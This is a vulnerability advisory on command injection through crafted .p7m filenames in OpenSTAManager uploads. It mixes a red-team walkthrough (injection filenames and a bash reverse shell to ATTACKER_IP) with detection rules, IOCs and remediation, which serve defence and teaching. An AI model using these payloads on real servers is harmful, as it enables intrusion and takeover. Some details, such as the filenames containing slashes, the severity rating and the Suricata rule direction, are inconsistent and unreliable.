CVE-2025-69212

Executive Summary

CVE-2025-69212 is a critical OS Command Injection vulnerability in OpenSTAManager, an open-source management software for technical assistance and invoicing. The flaw resides in the P7M (signed XML) file decoding functionality, affecting versions 2.9.8 and earlier. An authenticated attacker can upload a specially crafted ZIP file containing a malicious .p7m file with a crafted filename, leading to arbitrary system command execution on the server. This vulnerability allows a low-privileged authenticated user to achieve full remote code execution (RCE), potentially compromising the entire application and underlying infrastructure.

The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity is critical due to the potential impact.

Supply Chain & Package Security

OpenSTAManager is a PHP-based application. The vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a direct code flaw in the application's file processing logic. The risk is primarily to organizations that self-host OpenSTAManager.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the description, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the security scope.
• Confidentiality (C): High (H) – Full system compromise.
• Integrity (I): High (H) – Full system compromise.
• Availability (A): High (H) – Full system compromise.

Estimated CVSS Score: 8.8 (High)

Threat Level: Critical. The ability to execute arbitrary commands as an authenticated user can lead to complete server takeover, data exfiltration, and lateral movement.

Deep Dive & Mechanics

The vulnerability is located in the P7M file decoding functionality. P7M files are PKCS#7 signed data files, often used for digitally signed documents (e.g., in Italian electronic invoicing). The application likely processes these files to extract the original content and verify signatures.

The flaw is an OS Command Injection. The application likely constructs a system command to decode the P7M file, using the filename or file path as part of the command string without proper sanitization. For example, it might use a command like:

openssl smime -verify -in <filename> -inform DER -noverify

If the filename is not sanitized, an attacker can inject command separators (e.g., ;, |, &&) or backticks to execute arbitrary commands.

The attack vector is through a ZIP file upload. The attacker creates a ZIP archive containing a .p7m file with a malicious filename. When the application extracts and processes the file, the unsanitized filename is passed to the command execution function, leading to RCE.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code pattern.

Vulnerable Code (Hypothetical):

// Vulnerable: Direct concatenation of user-supplied filename into command
$filename = $_FILES['file']['name']; // e.g., "test;id>.p7m"
$command = "openssl smime -verify -in " . $filename . " -inform DER -noverify";
$output = shell_exec($command);

Patched Code (Hypothetical):

// Patched: Use escapeshellarg() to sanitize the filename
$filename = $_FILES['file']['name'];
$safe_filename = escapeshellarg($filename);
$command = "openssl smime -verify -in " . $safe_filename . " -inform DER -noverify";
$output = shell_exec($command);

The patched version uses escapeshellarg() to ensure the filename is treated as a single argument, preventing command injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an OpenSTAManager instance (version <= 2.9.8).
• Valid user credentials (any authenticated user).

Exploitation Steps:

1. Craft the Malicious ZIP File: Create a ZIP archive containing a .p7m file with a malicious filename. The filename should include command injection payloads.

   Example filename: test;id>/var/www/html/output.txt.p7m

   Using a Linux terminal:

   touch "test;id>/var/www/html/output.txt.p7m"
   zip malicious.zip "test;id>/var/www/html/output.txt.p7m"
   

2. Upload the ZIP File: Log in to OpenSTAManager and navigate to the file upload functionality (likely related to document management or invoice processing). Upload the malicious.zip file.

3. Trigger the Vulnerability: The application will extract and process the .p7m file. The command injection will execute, writing the output of the id command to /var/www/html/output.txt.

4. Verify Execution: Access the output file via the web server:

   http://target.com/output.txt
   

5. Escalate to Reverse Shell: Use a more sophisticated payload to establish a reverse shell.

   Example filename: test;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'.p7m

   (Note: This may require URL encoding or special characters to bypass filters.)

Lab Setup:

• Install OpenSTAManager 2.9.8 on a local VM.
• Create a test user account.
• Use a tool like Burp Suite to intercept and modify the upload request.

Blue Team

Detection:

• Monitor for unusual file uploads, especially ZIP files containing .p7m files with suspicious filenames (e.g., containing shell metacharacters like ;, |, &, `).
• Monitor process execution logs for unexpected commands involving openssl or other decoders with unusual arguments.
• Monitor web server logs for requests to /output.txt or other unexpected files.

Hunting:

• Search for files in the web root that were not part of the original application (e.g., output.txt, shell.php).
• Review application logs for errors related to file processing or command execution.

Prevention:

• Implement strict input validation on filenames (allow only alphanumeric, hyphens, underscores, and dots).
• Use escapeshellarg() or escapeshellcmd() when constructing system commands.
• Avoid using user-supplied filenames in system commands altogether. Use temporary files with safe names.

Indicators of Compromise (IOCs)

File-Based IOCs:

• ZIP files containing .p7m files with filenames containing shell metacharacters.
• Unexpected files in the web root (e.g., output.txt, shell.php, cmd.php).
• Modified .p7m files with embedded commands.

Network IOCs:

• Outbound connections to unknown IP addresses on common reverse shell ports (e.g., 4444, 1337, 8080).
• Unusual DNS queries to domains associated with C2 infrastructure.

Process IOCs:

• Execution of openssl with suspicious arguments (e.g., containing ;, |, &).
• Execution of shell commands (e.g., bash, sh, id, whoami) from the web server user.

Log IOCs:

• Web server logs showing requests to /output.txt or other unexpected files.
• Application logs showing errors during P7M file processing.

Detection Engineering

YARA Rule

rule CVE_2025_69212_OpenSTAManager_P7M_Command_Injection {
    meta:
        description = "Detects malicious ZIP files targeting CVE-2025-69212 in OpenSTAManager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-69212"
        severity = "critical"
    strings:
        $zip_magic = { 50 4B 03 04 }  // ZIP local file header
        $p7m_ext = ".p7m" nocase
        $cmd_inject1 = /[;&|`$()]/
        $cmd_inject2 = /bash|sh|cmd|powershell|exec|system|shell_exec/
    condition:
        $zip_magic at 0 and $p7m_ext and (#cmd_inject1 > 2 or #cmd_inject2 > 0)
}

Sigma Rule

title: CVE-2025-69212 - OpenSTAManager P7M Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-69212 via suspicious process execution
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/openssl'
        CommandLine|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of openssl with complex arguments
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-69212 - OpenSTAManager P7M Command Injection - Outbound Connection"; flow:to_server,established; content:"GET"; http_method; content:"/output.txt"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable P7M File Processing: If the feature is not critical, disable the P7M file decoding functionality in the application configuration.
2. Restrict File Uploads: Implement strict file type and filename validation. Only allow alphanumeric characters, hyphens, underscores, and dots in filenames.
3. Apply Input Sanitization: If you have access to the source code, apply escapeshellarg() to all user-supplied filenames before passing them to system commands.

Long-Term Fix:

• The vendor must release a patched version that properly sanitizes filenames or avoids using user-supplied filenames in system commands.
• Consider using a dedicated library for P7M file processing that does not rely on shell commands.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing suspicious filenames (e.g., containing ;, |, &).
• Monitor and alert on unusual process execution patterns.

Valters IT